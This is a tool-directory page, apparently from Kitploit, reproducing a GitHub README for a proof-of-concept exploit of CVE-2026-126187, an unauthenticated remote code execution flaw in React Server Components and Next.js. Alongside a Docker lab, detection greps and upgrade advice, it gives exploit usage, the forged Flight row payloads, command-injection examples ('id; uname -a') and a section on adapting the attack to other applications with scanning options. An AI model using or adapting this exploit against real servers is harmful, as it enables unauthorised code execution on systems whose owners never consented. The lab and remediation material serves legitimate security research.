Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/briskets/cve-2026-126187-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHubbriskets/cve-2026-126187-poc

CVE-2026-126187-poc

CVE-2026-126187 Unauthenticated RCE in React Server Components - PoC and Docker lab for GHSA-xqc2-xf4c-x3h3 / GHSA-673q-mjm6-r5xr

Repository anzeigen
3611vor 8 TagenVon Kitploit geprüft
Teilen
Inhalt in der angeforderten Sprache nicht verfügbar. Englische Version wird angezeigt.

CVE-2026-126187 GHSA-xqc2-xf4c-x3h3 — React Server Components RCE PoC

Research exploit code. This repository contains a working proof of concept and an intentionally vulnerable Docker lab. Use it only against systems you own or have explicit written permission to test.

A minimal Python PoC and Docker lab for the unauthenticated remote code execution in React Server Components tracked as GHSA-xqc2-xf4c-x3h3 (React) and GHSA-673q-mjm6-r5xr (Next.js).

At a glance

SeverityCritical — CVSS v4 9.5
Attack vectorNetwork, unauthenticated, no user interaction
React packagesreact-server-dom-webpack, -parcel, -turbopack
Affected React19.0.0–19.0.8, 19.1.0–19.1.9, 19.2.0–19.2.8, 19.3.0
Fixed React19.0.9, 19.1.10, 19.2.9, 19.3.1
Affected Next.js>= 16.0.0, <= 16.4.0 (App Router + Cache Components)
Fixed Next.js16.4.1
CVECVE-2026-126187
PrerequisiteA use cache function that returns multiple typed arrays plus an attacker-controlled value

The React advisory describes the trigger as “extremely rare cases where responses transport multiple typed arrays and an attacker-controlled value.” The PoC reproduces exactly that layout.

Root cause

The Flight serializer handles multiple typed-array views over one shared ArrayBuffer. On the vulnerable versions:

  1. The first view causes the shared buffer to be transferred/detached.
  2. A later view is serialized with its length header but no payload.
  3. When the cached stream is read back, the decoder consumes the declared length, over-reads into caller-supplied bytes, and resumes parsing there.
  4. Forged Flight rows at that resume offset invoke a real Server Action with attacker-chosen arguments.

The vulnerability is in the RSC serializer/deserializer, not in a custom API route. The PoC does not need a multipart POST or a Next-Action header.

Repository layout

PathPurpose
poc.pyDependency-free Python 3.8+ PoC: action discovery, payload construction, request, result parsing
lab/Next.js 16.4.0 + React 19.3.0 Docker lab that triggers the desync
compose.yamlOptional Compose setup for the vulnerable and patched labs
MakefileShortcuts for building, running, and checking the PoC

Requirements

  • PoC: Python 3.8+, standard library only
  • Lab: Docker
  • Lab runtime: Node.js 22 (handled by the container image)

Quick start

Build and run the vulnerable lab:

docker build -t ghsa-xqc2-lab ./lab
docker run --rm -p 127.0.0.1:3100:3100 ghsa-xqc2-lab

In another terminal:

python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'

Expected:

[*] action id: <hex>
[*] blob: <n> bytes, forged rows at offset 8184, args=['id; uname -a']
[*] HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=... 
...
==============================================

The lab action runs its argument through /bin/sh, so --cmd is the command you want to prove. Against a real application, --cmd must be whatever that application's Server Action expects; the PoC reaches the action, and the action decides what the argument means.

The lab also exposes GET /api/payload as a desync check:

  • vulnerable build: 500 {"ok":false,"error":"Connection closed."}
  • patched build: 200 with both 8 KB blocks intact

Compose alternative

docker compose up --build lab                 # vulnerable on 127.0.0.1:3100
docker compose --profile patched up --build lab-patched  # patched on 127.0.0.1:3101

Verify the patched build

Build the same lab with the fixed Next.js version:

docker build --build-arg NEXT_VERSION=16.4.1 -t ghsa-xqc2-lab-patched ./lab
docker run --rm -p 127.0.0.1:3101:3100 ghsa-xqc2-lab-patched

Then:

python3 poc.py http://127.0.0.1:3101 --cmd id
# [-] blob stayed opaque (Uint8Array(...)); target appears patched

Tested locally: [email protected] + [email protected] returns the action output; [email protected] leaves the blob opaque and no action runs.

PoC usage

python3 poc.py <url> [options]
OptionDescription
--cmd <string>Argument passed to the target Server Action (default: id)
--args-json <json>JSON array of action arguments; overrides --cmd
--action-id <hex>Explicit Server Action id; skips discovery
--path <path>Page whose cached lookup accepts ?annotation= (default: /)
--chunk-id <id>Flight chunk id of the caller-influenced value (default: 4, lab layout)
--overread <n>Bytes consumed after the dropped view (default: 8192, lab layout)
--scanTry common chunk ids and overread sizes
--chunk-ids <list>Chunk ids for --scan (default: 1-8)
--overreads <list>Overread sizes for --scan
--timeout <sec>Network timeout (default: 30)
--insecureDo not verify TLS certificates

How the PoC works

  1. Discover the action id. Reads the page and its client chunks for $ACTION_ID_… or createServerReference(..., "<hex>").
  2. Build the blob. Fills annotation with bytes placed at overread - len("<chunk>:o<hexlen>,"), using a fixed-point loop because the header length changes the resume offset. The defaults (4, 8192) match the lab; use --chunk-id and --overread for a different cached layout.
  3. Forge rows. 6:["<cmd>"], 5:{"id":"<action>","bound":"$@6"}, 4:{"then":"$h5"}. The cached value becomes a thenable whose then is the real Server Action.
  4. Request GET /?annotation=<base64> and read the action output from the rendered <pre> summary.

Adapting to another app

CVE-2026-126187 does not affect every Next.js app. The application must have a use cache function that returns multiple typed arrays in a way that triggers the serializer desync, and the cached page must be able to resolve a Server Action.

  • Action ID: discovered automatically from the page or its client chunks.
  • Chunk id and overread: with source access, read them from the cached function's return order and the dropped view's byte length. Without source, --scan tries chunk ids 1-8 and common view sizes; add unusual sizes with --overreads.
  • Action arguments: inspect the client component that calls the action, then pass the same shape with --args-json.

Detection

  • Request logs: an unusually long base64 annotation query parameter on a page request.

  • The response body contains a <pre> block with serialized Server Action output.

  • HTML or client chunks expose $ACTION_ID_… or createServerReference(..., "<hex>").

  • Check installed RSC builds for the fix marker:

    grep -c getBackingBlob \
      node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.production.js
    # 0 = vulnerable; > 0 = fixed
    

Remediation

  • Upgrade Next.js to 16.4.1 or later.
  • Upgrade the RSC packages to a fixed release: 19.0.9, 19.1.10, 19.2.9, 19.3.1, or later.
  • If an immediate upgrade is not possible, remove use cache functions that return multiple typed arrays alongside attacker-controlled values, and audit Server Action authorization.
  • Apps that do not use a React server, or that do not use a framework, bundler, or bundler plugin supporting RSC, are not affected.

References

Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-seitiges Red-Team-Toolkit mit 102 Offline-Tools für Recon, Payload-Generierung, Credential-Angriffe, Krypto, Encoding und Engagement-Reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Das System der Handlung für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Beweise zu operativem Gedächtnis werden und jeder Einsatz den nächsten verbessert.

    291

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →